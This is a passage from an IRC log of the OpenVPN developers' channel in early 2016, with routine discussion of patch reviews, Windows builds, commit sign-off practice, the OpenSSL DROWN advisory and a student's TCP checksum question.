weighing me down. -- Andy Weir: The Martian] 16:50 <@syzzer> library versions: mbed TLS 2.2.1, LZO 2.08 16:51 <@syzzer> ... just smoketest for now. Still need to carefully read the release notes and do real testing. 17:33 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 17:36 -!- SCHAAP137 [SCHAPiE@unaffiliated/schaap137] has quit [Ping timeout: 244 seconds] 18:15 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Remote host closed the connection] 18:16 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 23:29 -!- saik0 [~saik0@unaffiliated/saik0] has quit [Ping timeout: 250 seconds] --- Day changed Thu Feb 18 2016 00:15 -!- d12fk [~heiko@exit0.net] has quit [Quit: ZNC - 1.6.0 - http://znc.in] 00:47 -!- s7r [~s7r@openvpn/user/s7r] has quit [Remote host closed the connection] 00:48 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:48 -!- mode/#openvpn-devel [+o mattock] by ChanServ 00:48 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 01:38 <@cron2> syzzer: nice 06:45 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 06:45 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 07:25 <@ecrist> wtf vpnHelper 07:26 <@plaisthos> hu? 07:28 <@ecrist> the bot is running non-standard 07:28 * ecrist suspects krzee 10:36 <@cron2> I think someone trying to fuzz openvpn will be in for a bit of fun :-) 10:36 <@cron2> "this packet stinks! assert()!" 10:37 -!- krzee [4465bf6b@openvpn/community/support/krzee] has joined #openvpn-devel 10:37 -!- mode/#openvpn-devel [+v krzee] by ChanServ 10:40 <@plaisthos> cron2: last assert like that was a remote server dos 10:54 <@cron2> plaisthos: true. Remote server shutdown is bad, but code execution / key leakage / ... would be far worse - and I'm trusting our code to really check everything and their uncles 10:54 <@cron2> at least when it's been near a network packet 10:55 <@cron2> - and that makes fuzzing a bit of a challenge, if the code doesn't give you "code coverage testing depending on fuzzing" but usually "go away, you're dead!" :-) 10:55 <@cron2> someone else tried fuzzing openvpn network protocol a few months ago, and gave up in frustration because most of the time OpenVPN just told him "thanks for playing, game over, your session is dead now!" :) 11:06 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 11:48 <+krzee> haha nice 12:18 <@dazo> this one is quite chilling .... https://motherboard.vice.com/read/how-white-hat-hackers-stole-crypto-keys-from-an-offline-laptop-in-another-room 13:16 <@cron2> d12fk seems to be around...? 14:18 -!- s7r [~s7r@openvpn/user/s7r] has quit [Read error: Connection reset by peer] 14:18 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 15:10 -!- krzee [4465bf6b@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] --- Day changed Fri Feb 19 2016 02:28 <@mattock> guys: any comments on the new versioning scheme for openvpn-gui: https://github.com/OpenVPN/openvpn-gui/pull/16#issuecomment-185285612 (asked about his on #openvpn-windows also) 02:28 <@vpnHelper> Title: Better error reporting when connection fails to come up by selvanair · Pull Request #16 · OpenVPN/openvpn-gui · GitHub (at github.com) 02:44 <@mattock> could someone have a quick review of the code in this pull request: https://github.com/OpenVPN/openvpn-gui/pull/16 02:44 <@vpnHelper> Title: Better error reporting when connection fails to come up by selvanair · Pull Request #16 · OpenVPN/openvpn-gui · GitHub (at github.com) 03:00 * cron2 looks 03:04 <@cron2> mattock: the C side looks reasonable 03:17 <@cron2> d12fk: *poke* 04:02 <@d12fk> mattock: i don't see a versioning change at first glance 04:02 <@d12fk> could you point me directly to it 04:14 <@cron2> d12fk: ah! Alive! Selva has sent a number of patches to the list regarding gui<->service interaction, or service improvements (block-dns). To me, they all look reasonable, so I would merge them - but I'm not sure there are windows subtleties I'm missing. So if you could have a look that would certainly help 04:23 <@d12fk> yes, but like always i am busy doing work 04:24 <@d12fk> actually fixing the multisocket patch currently, showed to not work so much for udp 04:29 <@cron2> shouldn't take that much time, patches are fairly short and "one thing at a time", very orderly 05:56 <@plaisthos> d12fk: if you have something that I should look at/review drop me a note 10:16 <@d12fk> plaisthos: problem seems to be my lack of understanding how upd is handled differently from tcp 10:16 <@d12fk> i guess tcp works because it accepts a new socket and the socket is then added to epoll with the right context 10:17 <@d12fk> for udp openvpn seems to pick up the top context and stick to it somehow, so these messages show up when the second client connects: 10:18 <@d12fk> TLS Auth Error: username attempted to change from 'user1' to 'user2' – tunnel disabled 10:18 <@ecrist> Do we still run code through Coverity, or other analysis tools? 10:18 <@d12fk> currently trying to understand how the old udp code handled it 11:38 <@cron2> ecrist: yes 11:51 <@cron2> mmmh :) - finding mails from "OpenVPN Sales" in my @work inbox 12:29 -!- Netsplit *.net <-> *.split quits: @mattock 12:30 -!- Netsplit over, joins: mattock 12:30 -!- mode/#openvpn-devel [+o mattock] by ChanServ 12:30 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:30 -!- mode/#openvpn-devel [+o mattock_] by ChanServ --- Day changed Sun Feb 21 2016 06:32 <@cron2> syzzer: ayt? 06:37 <@vpnHelper> RSS Update - gitrepo: Minor AEAD patch cleanup <https://github.com/OpenVPN/openvpn/commit/b3560c98d7e4877f3ff6283dde1751654e6f7d6d> --- Day changed Mon Feb 22 2016 02:48 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 264 seconds] 02:50 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 02:50 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 03:53 <@cron2> meeting tonight? who could be there? 03:54 * cron2 has questions for syzzer, but that does not particularily need a meeting 04:56 <@mattock_> hmm, I could be here 04:56 <@mattock_> if we get enough real topics to discuss 05:44 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 240 seconds] 05:45 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 240 seconds] 05:47 <@cron2> syzzer is most definitely not talking to me today 05:50 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 05:50 -!- mode/#openvpn-devel [+o dazo] by ChanServ 05:50 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 05:50 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 06:45 <@plaisthos> Oh damn I lost a user since I have I no idea how my own app and OpenVPN works 06:45 <@plaisthos> "Do not worry. Loser. 06:45 <@plaisthos> My last reply since you do not know your own app. 06:45 <@plaisthos> Works off and on not consistent is okay for you." 06:51 <@mattock_> lovely 06:51 <@mattock_> maybe he should maintain your app, then? :P 06:52 <@plaisthos> mattock_: yeah, additionally he claimed that I changed/added conversion something in latest versio which broke his VPN configs 06:52 <@plaisthos> Not sure what, I do not understand his English 06:52 <@plaisthos> Probably also my fault :) 06:53 <@mattock_> definitely :P 06:53 <@mattock_> better let him go and complain to somebody else about some other openvpn client 06:55 <@cron2> plaisthos: you're such a poor app coder...!!! 06:58 <@syzzer> I won't be around tonight - in Japan for a week 06:59 <@syzzer> so cron2, if you have questions, I'll be around for another two hours before I have to catch some sleep :) 07:00 <@plaisthos> He is now using OpenVPN Connect because that requires no config coversion process! 07:00 <@plaisthos> syzzer: Oh, vacation or business? 07:00 <@plaisthos> ANyway have fun! 07:01 <@syzzer> business: https://pqcrypto2016.jp/ 07:12 <@cron2> syzzer: oh, fun :-) - where in Japan? 07:12 <@syzzer> Fukuoka, in the South 07:12 <@syzzer> fun indeed :) 07:13 <@cron2> syzzer: regarding your AEAD cleanup patch 2 - I wonder where the messages went that you removed - the ""Control Channel Authentication: using '%s' as a " PACKAGE_NAME" static key file", passphrase_file 07:13 <@cron2> bits 07:13 <@cron2> I'm all for removing extra garbage, but if we're losing informational messages in the process, I wonder :) 07:15 <@syzzer> most of it is printed by 'init_key_ctx()', that says 'Incoming control channel authentication using algx, yyy bits key' 07:16 <@syzzer> so the only thing those lines added was the key file location, which is checked on startup (and printed on errors then) 07:16 <@cron2> so the info "tls-auth active!" is still there, and if someone wants to really know the filename, just look at the option summary at the beginning of the log? 07:16 <@syzzer> yes, and that 07:16 <@cron2> ok, makes sense. thanks :) 07:17 <@cron2> mattock: but I think that means "no unix/crypto meeting tonight", but if windows folks want to gather and review patches, I'll be there to merge and push... 07:17 <@syzzer> I think these lines were to show the difference between 'using as passphrase' and 'using as key' 07:17 <@syzzer> but plaisthos removed the passphrase option, so no longer needed 07:18 <@cron2> that evil plaisthos man - not only he does not understand his own app, he also takes away IMPORTANT FEATURES from our app! 07:19 <@syzzer> evil he is 07:19 <@plaisthos> pure evil! 07:35 <@plaisthos> syzzer: hm, I would like to keep that error message about free-form files in 2.4 07:36 <@plaisthos> 2.4 is the first version not to warn but also to bail out on this 07:38 <@plaisthos> we can change the error message not have the filename in it 07:38 <@plaisthos> also it would be still [[INLINE]] if it is inline 07:39 <@plaisthos> like tls-auth option does have not static key format ... etc. 07:44 <@plaisthos> syzzer: could you do a V2 version that keep that message, otherwise it gets an ACK from me 08:18 <@syzzer> plaisthos: hm, you're right, that one is useful. damn, now I have to either re-add the extra check, or change must_have_n_keys()... 08:39 <@plaisthos> syzzer: Just asmore generic error message if something goes wrong would be enough. Like tls-auth is broken. also note that if you had free-form you are out of luck 08:39 <@plaisthos> something like that 08:54 <@vpnHelper> RSS Update - wishlistfeed: 2 column list show <http://forums.openvpn.net/topic21068.html> || Exit Button always show <http://forums.openvpn.net/topic21067.html> 09:06 <@plaisthos> I have no idea what the first request wants 09:21 <@cron2> with most of the wishlist stuff I have no idea what these folks want 09:21 <@cron2> but that one looks like "I have one of the Apps, and 1000 configs, and scrolling is slow" 09:28 <@vpnHelper> RSS Update - gitrepo: Clean up get_tls_handhake_key() <https://github.com/OpenVPN/openvpn/commit/463ea2bc90555efdcd8b2591a18aad2d47eb1d25> 09:42 < valdikss> Guys, OpenVPN server with 30+ clients eats 200+ MB ram and OOM killer kills it 09:42 < valdikss> What should I do? 09:50 <@cron2> trace where the memory goes...? 09:51 <@cron2> it doesn't do that for me, so either it is one of your plugins, or something special in your setup 09:54 < valdikss> cron2: no plugins. How do I trace it? 09:57 <@cron2> you could run under valgrind (... which eats performance, so maybe only for a few test clients), or compile with -DDMALLOC and link in the dmalloc library 09:57 <@cron2> last time I was searching for a mem leak, dmalloc helped (but that one has long been fixed, 2.3.6-ish) 10:01 <@cron2> syzzer: ubuntu1204 still fails because of "old openssl" 12:22 <@mattock_> cron2: let's arrange meeting next monday or so, depending on the status of the Windows patches 15:44 <@cron2> mattock_: ok 19:16 -!- krzee [63abbb41@openvpn/community/support/krzee] has joined #openvpn-devel 19:16 -!- mode/#openvpn-devel [+v krzee] by ChanServ 23:53 -!- krzee [63abbb41@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] --- Day changed Tue Feb 23 2016 01:42 <@cron2> *yawn* 03:58 <@cron2> plaisthos: is sony-android generally ok-ish, or "stay away, usually quite broken" (z3 compact on potential shopping list...) 06:44 <@plaisthos> cron2: sony android is quire close to stock 06:44 <@plaisthos> quire=quite 06:45 <@plaisthos> and not so much bloatware 06:45 <@plaisthos> it is defenitively not Samsung 06:45 <@plaisthos> I had 3 sony mobile phones now ;) 11:50 <@plaisthos> some should really update the config example files 11:50 <@plaisthos> and add better defaults 11:50 <@plaisthos> like aes gcm 11:50 <@plaisthos> compress lz4-v2 17:03 -!- Netsplit *.net <-> *.split quits: @mattock, @plaisthos, @cron2, @syzzer, @vpnHelper, @dazo, @mattock_ 17:05 -!- Netsplit over, joins: @cron2 17:05 -!- Netsplit over, joins: @syzzer, @dazo, @plaisthos 17:05 -!- Netsplit over, joins: @vpnHelper 17:07 -!- ServerMode/#openvpn-devel [+o d12fk] by sinisalo.freenode.net 17:07 -!- 21WAAAENN [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 17:07 -!- ServerMode/#openvpn-devel [+o 21WAAAENN] by sinisalo.freenode.net 17:10 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 17:10 -!- ServerMode/#openvpn-devel [+o mattock] by sinisalo.freenode.net 17:11 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: ZNC - http://znc.in] 17:11 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 17:12 -!- mode/#openvpn-devel [+o mattock] by ChanServ 18:24 <@vpnHelper> RSS Update - wishlistfeed: client vpn with internal website <http://forums.openvpn.net/topic21087.html> 18:30 <@vpnHelper> RSS Update - wishlistfeed: configuratin check <http://forums.openvpn.net/topic21088.html> --- Day changed Wed Feb 24 2016 06:39 <@syzzer> cron2: hm, I wrote a patch for that, but it seems to be only in my git tree on my home pc - I'll send it once I get home again 06:47 <@cron2> thanks :) 06:47 <@cron2> so, how's Bernstein "in 3D with sound"? 06:47 * cron2 looked at the agenda for syzzer's holiday 06:48 <@syzzer> hehe, fun to listen to, as always :) 06:49 <@syzzer> although there have been better talks this conference 06:50 * cron2 has only ever read stuff from djb, and while he's usually right, it still isn't helping (because nobody else does what he mandates, like dnscurve...) 06:51 <@syzzer> he kind of proposed a dnscurve-like alternative to ipsec 06:51 <@syzzer> but with post-quantum secure algorithms, of course 07:40 <@cron2> which will, of course, go nowhere, because IETF... 07:48 <@plaisthos> problem of dnscurve was also it tried to change how dns worked 07:49 <@plaisthos> and lot of people did not like going from authenticated data to authenticated connections 07:57 <@cron2> people don't really do DNSSEC either... 07:58 <@cron2> but the lobby behind that is stronger 08:01 <@plaisthos> cron2: yeah 08:01 <@plaisthos> cron2: but dnssec has been a pain in the ass to setup in earlier bind versions 08:13 <@cron2> dnssec is still a pain in the ass... BIND makes everything totally easy, and then you enter the land of "getting the parent zone and the child zone right *in the right order*, taking TTL and caches into account" 08:14 <@cron2> especially in an ISP environment where a domain might move to another ISP and change keys in the process, and of course, it has to be done "TODAY!" 09:56 <@vpnHelper> RSS Update - tickets: #662: NetBSD: topology subnet tun setup causes quagga routing to ignore interface <https://community.openvpn.net/openvpn/ticket/662> 11:51 -!- krzee [63abbb41@openvpn/community/support/krzee] has joined #openvpn-devel 11:51 -!- mode/#openvpn-devel [+v krzee] by ChanServ 12:46 -!- 21WAAAENN [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 18:47 -!- krzee [63abbb41@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 18:51 -!- krzee [63abbb41@openvpn/community/support/krzee] has joined #openvpn-devel 18:51 -!- mode/#openvpn-devel [+v krzee] by ChanServ 22:20 -!- krzee [63abbb41@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] --- Day changed Thu Feb 25 2016 01:51 -!- krzee [63abbb41@openvpn/community/support/krzee] has joined #openvpn-devel 01:51 -!- mode/#openvpn-devel [+v krzee] by ChanServ 04:16 -!- krzee [63abbb41@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 06:10 <@vpnHelper> RSS Update - gitrepo: Restrict options/configs for startup through interactive service <https://github.com/OpenVPN/openvpn/commit/f3c8a04d60216d532f239c951a4694d7c1d5eaa8> 06:19 <@cron2> dazo: are you around? 06:35 <@dazo> cron2: I am 06:35 <@cron2> \o/ 06:35 <@dazo> in a chat meeting elsewhere ... but I'll hang around :) 06:36 <@cron2> I just sent a reply to the list regarding a lz4-for-windows patch asking the commiter to please use "git commit -s" 06:36 <@cron2> since I'm not exactly sure what the underlying significance of that is (except "we all do it") - could you add a few words what the signed-off-by: really means? 06:36 <@cron2> technically, it's just a string :) 06:38 <@dazo> I think it technically is just a string in the commit log, it's a convenience thing .... but the idea behind the signed-off is more juridical .... the sign-off is basically saying "Yes, I am the author of this commit and I have the rights to share this code with you" 06:39 <@dazo> and it's a nice way to track if more people have been involved, not just the submitter 06:39 <@dazo> But we should not add that Signed-off-by: line ourselves unless we really are sure that this is okay by the submitter 06:40 <@dazo> I generally wouldn't hesitate that much to add it manually if you or plaisthos had forgotten to add it ... but someone from the outside, I probably wouldn't do it without getting an explicit approval 06:41 <@cron2> which is why I'm not doing it :-) - but if you could explain that on the list, I could refer to it in the future :) 06:42 <@dazo> Sure! I'll ensure the developer docs on our wiki is up-to-date too 06:57 <@vpnHelper> RSS Update - gitrepo: Update --block-outside-dns to work on Windows Vista <https://github.com/OpenVPN/openvpn/commit/236769150f64087c590c718c76916ee3c8c9d3b5> 07:03 <@cron2> dazo: thanks 07:04 <@dazo> you're welcome! 07:04 * cron2 just broke compilation for windows... *sigh* 07:08 <@ecrist> cron2: I'm working on a ports update today 07:08 <@ecrist> just FYI 07:11 <@cron2> ecrist: cool :-) (FreeBSD is good, everything I've touched recently is Windows...) 07:18 <@plaisthos> hihi radsecproxy has fallen in the same trap as OpenVPN with TLS 1.0 only instead 1.0+ because of OpenSSL's wonderful API 07:25 -!- Irssi: #openvpn-devel: Total of 25 nicks [9 ops, 0 halfops, 0 voices, 16 normal] 07:25 <@ecrist> ftr, I don't plan on unquieting hiya any time soon. I won't get in anyone's way if they choose to do so, though. 07:29 <@dazo> I was quite generous to hiya until yesterday ... when he simply claimed things were done correct despite logs saying it was not ... I lost my patience and just did /ignore 07:30 <@plaisthos> dazo: yeah, he laways tries to help even if makes more damage than good 07:31 <@cron2> which source of fun am I missing? 07:31 <@dazo> the fun part ... he created ##vpn (I believe) ... but once I told him I'm ignoring him ... he left that channel too 07:31 <@plaisthos> cron2: hiya in #openvpn 07:32 <@cron2> ic. too much other distractions right now to join there... 07:36 <@dazo> don't waste your time on hiya, cron2 .... it's really not worth it 07:37 <@dazo> ecrist: gratisias acted as a proxy for hiya when I /ignored hiya ... so consider that 07:42 <@vpnHelper> RSS Update - gitrepo: Send stdout and stderr of OpenVPN started by interactive service to NUL <https://github.com/OpenVPN/openvpn/commit/852f1e49c7e692c6392fe07160cfbc8d6b17f0d0> 08:19 * ecrist sighs 08:20 <@ecrist> my tipping point was his admission of pirating/stealing a copy of jjk's book 08:46 <@syzzer> wow, someone wrote a book on our trac! (looking at #660) 08:53 <@cron2> syzzer: yeah, that's quite impressive 09:03 <@cron2> windows/mingw is fun... you miss the right header file, and it blows up on linking, even if there is no magic macro stuff going on... 09:06 <@cron2> syzzer: wow, tickets being closed \o/ 09:10 <@cron2> not pushing the 582 fix yet, waiting for the next commit 09:16 <@ecrist> wow 09:16 <@ecrist> that guy deserves an award 09:17 * ecrist tags it 09:22 <@cron2> ecrist: you're bored...? ;-) 09:36 <@ecrist> cron2: Bug 207489 09:59 <@dazo> rofl ... "Keywords over-achiever added" (trac #660) 10:05 <@ecrist> I also considered model-citizen 10:14 <@dazo> :) 10:39 <@vpnHelper> RSS Update - gitrepo: Fix openserv/validate.o linking issues on mingw. <https://github.com/OpenVPN/openvpn/commit/9b9187031b742258b518dbde648326b3e3a8d8d8> || Fix OCSP_check.sh <https://github.com/OpenVPN/openvpn/commit/ab0f846de6991345c30f5b69817304183d347e0e> 10:39 <@cron2> windows building should be fine again 10:45 <@cron2> 5 commits on a single afternoon \o/ 10:46 <@cron2> syzzer: how's "configurable per-client ciphers" going? *duck* 10:46 <@vpnHelper> RSS Update - tickets: #663: Debian packages : same {name,version,arch} but different content <https://community.openvpn.net/openvpn/ticket/663> 10:57 <@cron2> Subject: NOTICE: build-snapshot succeeded for commit 9b9187031b on branch master 10:57 <@cron2> hah! 11:22 <@plaisthos> oh new openssl security bugs 11:22 <@plaisthos> like every month 11:23 <@plaisthos> but it is not critical this time 14:18 <@ecrist> wowsers 14:22 <@ecrist> http://pastebin.ca/3381868 14:38 * dazo is envious ... ecrist have received 5 memoserv messages :/ 14:38 <@ecrist> 4 of which are still unread 14:39 <@dazo> heh 14:39 <@dazo> wow! careful so hiya don't notice that ... he might feel special --- Day changed Fri Feb 26 2016 01:49 <@vpnHelper> RSS Update - gitrepo: Add lz4 support to MSVC. <https://github.com/OpenVPN/openvpn/commit/6a4edc7fc09d6a321f87d4dcf331c7d5c3082a8f> 02:13 * cron2 throws the failing ubuntu "make test" @ syzzer... :) 03:09 <@cron2> mattock: "master" snapshots are all I60x? 07:24 <@mattock> cron2: yes 07:25 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Remote host closed the connection] 07:31 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 07:31 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 08:31 <@cron2> mattock: how's work on "bundle both tap drivers, decide at installation time" going? 08:52 <@mattock> cron2: nowhere, too much work with openvpn-gui in particular 11:25 -!- Netsplit *.net <-> *.split quits: @mattock 11:25 -!- Netsplit over, joins: mattock 11:25 -!- mode/#openvpn-devel [+o mattock] by ChanServ 11:27 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 11:28 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:28 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 19:33 <@syzzer> cron2: cipher negotiation is still waiting for me to gather enough courage to start poking into the frame / buffer / overhead calculation ingenuity 19:36 <@syzzer> I am carefully poking at the outside though - I might first send refactoring patch (set) to use connection-specific buffers, instead of global buffers (which would also be useful for multi-threading) --- Day changed Sat Feb 27 2016 01:37 * cron2 sends a heap of courage over :-) 09:54 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 240 seconds] 10:04 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 10:05 -!- mode/#openvpn-devel [+o dazo] by ChanServ --- Log closed Sat Feb 27 13:27:42 2016 --- Log opened Mon Feb 29 08:47:15 2016 08:47 -!- Irssi: #openvpn-devel: Total of 25 nicks [7 ops, 0 halfops, 0 voices, 18 normal] 08:47 -!- mode/#openvpn-devel [+o ecrist_] by ChanServ 08:47 -!- Irssi: Join to #openvpn-devel was synced in 5 secs 08:47 -!- You're now known as ecrist 09:19 -!- floppym_ is now known as floppym 09:34 <@plai> syzzer: 8:58:04 <@cron2> there's quite a bit of *work* (review patches, work on trac tickets) but this is not really "meeting format" 09:34 <@plai> that is all we have right now as opinions 09:34 <@cron2> syzzer: no idea if anything has been decided... I was stuck in meetings from 11:00 to just now... :) 11:12 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 13:10 <@cron2> syzzer sending complicated stuff again... 13:10 * cron2 goes searching for braaiiiinzzz... <zombie mode> 13:12 <@syzzer> cron2: yes, please to take good look at that one 13:12 <@cron2> skimmed briefly, looks reasonably sane, but need to look more carefully 13:12 <@syzzer> I *think* this should be fine, but do not yet dare to claim I fully understand all interactions with surrounding code --- Day changed Tue Mar 01 2016 03:16 * plai rubs eyes 03:16 <@plai> a new irssi release, 9 years after the last 03:17 <@cron2> so, everything rewritten, python inside now? 03:18 <@plai> no 03:18 <@plai> it is more a maintaince release from the release notes 07:27 <@ecrist> happy March 07:28 <@ecrist> plai: the previous release was back in 2014 07:28 <@ecrist> 0.8.17 07:28 <@ecrist> yesterday's release is 0.8.18 07:45 <@cron2> wow, two releases in 9 years! 08:07 <@ecrist> that's twice as many 08:07 <@ecrist> :P 08:34 -!- floppym_ is now known as floppym 10:36 <@plai> oh sslv2 is broken than before 10:37 <@plai> in other news openssl announces a sack of rice has fallen over in China 10:38 <@ecrist> shit 12:56 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 12:59 <@cron2> syzzer: any official word on the OpenSSL issue? 13:25 <@ecrist> it sounds like it's SSLv2 specific 13:25 <@ecrist> which, afaik, doesn't affect us 13:30 -!- Netsplit *.net <-> *.split quits: @plai, s7r 13:34 <@syzzer> what ecrist says :) 13:36 -!- Netsplit over, joins: @plai, s7r 13:37 <@ecrist> even the cross-protocol crap is moot because we don't do sslv2 13:38 <@ecrist> it appears to leverage other protocols to aid in breaking sslv2 13:40 <@syzzer> there's some not-SSLv2 related stuff, but those are either low-impact or not applicable to openvpn 13:40 <@syzzer> mattock should probably still release new installers, just to silence the anxious, but I do not see any reason to worry. 13:41 <@ecrist> Yeah, there will be some out there that will cry specifically because of the "vulnerable" version of openssl 13:44 <@syzzer> heh: https://news.ycombinator.com/item?id=11204936 13:44 <@vpnHelper> Title: Diffie and Hellman Win Turing Award | Hacker News (at news.ycombinator.com) 15:46 -!- krzee [49aabe1a@openvpn/community/support/krzee] has joined #openvpn-devel 15:46 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:47 <+krzee> down DROWN effect openvpn? 15:47 <+krzee> does* 17:04 -!- krzee [49aabe1a@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 21:47 <@vpnHelper> RSS Update - tickets: #664: management interface missing source port for ipv6 addresses <https://community.openvpn.net/openvpn/ticket/664> --- Day changed Wed Mar 02 2016 02:54 <@syzzer> krzee: no 05:35 <@plai> sigh 05:36 <@plai> We dropped vital cipher support (at least according to my user) 05:36 <@plai> Cipher 'DES-CFB' mode not supported 06:09 < m0hm0h> hi all. I'm making a traffic shaping feature for OpenVPN as my Thesis topic. I've run into trouble updating a TCP segment's headers in the OpenVPN client endpoint. I'm getting really mixed results and been battling with this issue for half a year. Is there a way to get any professional help here if I put a couple of lines of code on pastebin, for example? Would be greatly appreciated. 06:10 < m0hm0h> ** updating the checksum, in particular 06:38 <@cron2> plai: you are an evil coder who is subverting your users ciphers to NSA-stuff!!! 07:26 < valdikss> Guys, so OpenVPN can't push certificate chains from server? 07:28 < valdikss> I'd like to move from my old CA to a new one. I've cross-signed my new CA with old CA and wanted to push both server certificate and cross-signed new CA from server to make clients with either new or old CA in <ca> directive work, but it seems I can't. 07:33 < valdikss> m0hm0h: all the developers are here, but you'd better ask in the mailling list openvpn-devel. 07:36 < m0hm0h> yeah, the thing is, it's a very specific issue and there's probably just something wrong in my code I can't fix -_- wouldn't provide much benefit for anyone else 07:43 <@vpnHelper> RSS Update - tickets: #665: Route: Waiting for TUN/TAP interface to come up... <https://community.openvpn.net/openvpn/ticket/665> 08:00 < m0hm0h> a huge thank you for anyone offering help in this.. after I modify a TCP segment's headers to reflect a zero window size, wireshark reports that the TCP checksum is wrong - http://pastebin.com/HJk3iC9Q 08:04 <@cron2> m0hm0h: well, if you change anything, you need to adjust the tcp checksum, of course 08:04 <@cron2> look into the MSSfix code how that can be done taking old/new value into account 08:14 < m0hm0h> I'm taking that into account, but there's likely something wrong with my approach. I remember taking a look at this MSSfix function. I assume the loop in the end of the function is updating the checksum? I guess it would still work if I removed that final if (mss > maxmss) block since I'm not doing anything MSS-related 08:26 < m0hm0h> except that it looks like it's that ADJUST_CHECKSUM -macro that does the trick. I just quite don't get with what parameter to call that macro with. 32-bit accumulation of all the changes, I don't really get it in the context. if the original window size is X and I want to make it zero, I subtract X from it. but how does that relate to the accumulation? 08:26 < valdikss> cron2: so OpenVPN doesn't support pushing more then one certificate from the server or am I missing something? 08:30 <@cron2> valdikss: I have no idea. Syzzer and jjk understand crypto 08:31 <@cron2> m0hm0h: the difference needs to be added or subtracted from the checksum, taking 1-complement into account - and read up in the TCP RFC how the checksum is supposed to work (this is really not an openvpn question but a TCP question) 08:35 < m0hm0h> well I guess you're right.. thanks for the point, I'll try to figure it out 09:13 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 09:13 -!- mode/#openvpn-devel [+o dazo] by ChanServ 10:07 <@cron2> m0hm0h: thing is, I don't know the details off my head either :-) - I've read the TCP RFC some 15 years ago and would need to read it again - but when adjusting TCP MSS for IPv6, the existing macros worked just fine. You feed in how much you have changed, and that will get applied to the checksum, and done 10:19 -!- s7r_ [~s7r@openvpn/user/s7r] has joined #openvpn-devel 10:20 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 264 seconds] 10:20 -!- plai [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 264 seconds] 10:23 < m0hm0h> yeah, the thing adding to frustration is that I'm working in an environment where debugging is from hell. I'm just trying to skip over a few details having spent lots of time on this project. but yes, I used the macro the way you described, passing it a 32-bit integer of how much I've removed from the window size value.. wireshark's saying the checksum is now zero (along with it's constant reminders that the TCP checksum may be "offloaded") 10:23 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 10:23 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 11:03 < m0hm0h> well, how should I call the macro exactly to calculate a correct checksum after I've adjusted the window size value to 0? 11:11 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 11:58 <@plaisthos> *sigh* 11:58 <@plaisthos> openvpn connect on Android/iOS seems to support inline crl files 11:58 <@plaisthos> and we don't 11:59 <@cron2> ohmygod, we're such a crappy VPN client! 21:29 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 21:31 -!- s7r_ [~s7r@openvpn/user/s7r] has quit [Quit: sigterm] 21:31 -!- wiz_ is now known as wiz 21:32 -!- marlinc_ is now known as marlinc --- Day changed Thu Mar 03 2016 01:29 < m0hm0h> short question, if it's okay: I'm trying to modify TCP headers of segments that flow through VPN client and server to the Internet. I'm making modifications to the segments at the VPN client. When I monitor the TUN-interface at the VPN server, the passing packets are reported as having invalid TCP checksums (0) although I correctly recalculate the TCP checksums at the VPN client. Is my approach wrong, or what is it about? Should I instead modify the packets 01:29 < m0hm0h> thanks a lot -_- 01:44 <@cron2> I've had tcpdump report bad checksums to me on tun interfaces on linux as well, and never figured out why this is so 01:44 <@cron2> (without having modified the packet, and the TCP layer in the system was quite happy with them) 01:45 <@cron2> what I'd do is verify by tcpdumping elsewhere (like, packet going from tun to eth -> tcpdump on eth, or on the final host) 01:45 <@cron2> or print out the TCP checksum after modification and compare to what tcpdump prints 01:45 <@cron2> or do not use linux :) 02:40 <@cron2> urgh 02:41 <@syzzer> wow, james has been busy 02:41 <@cron2> James dumped a fat patch set on us, and I have the suspicion that half of it is for 2.3... 02:41 <@cron2> yes 02:42 <@cron2> like the 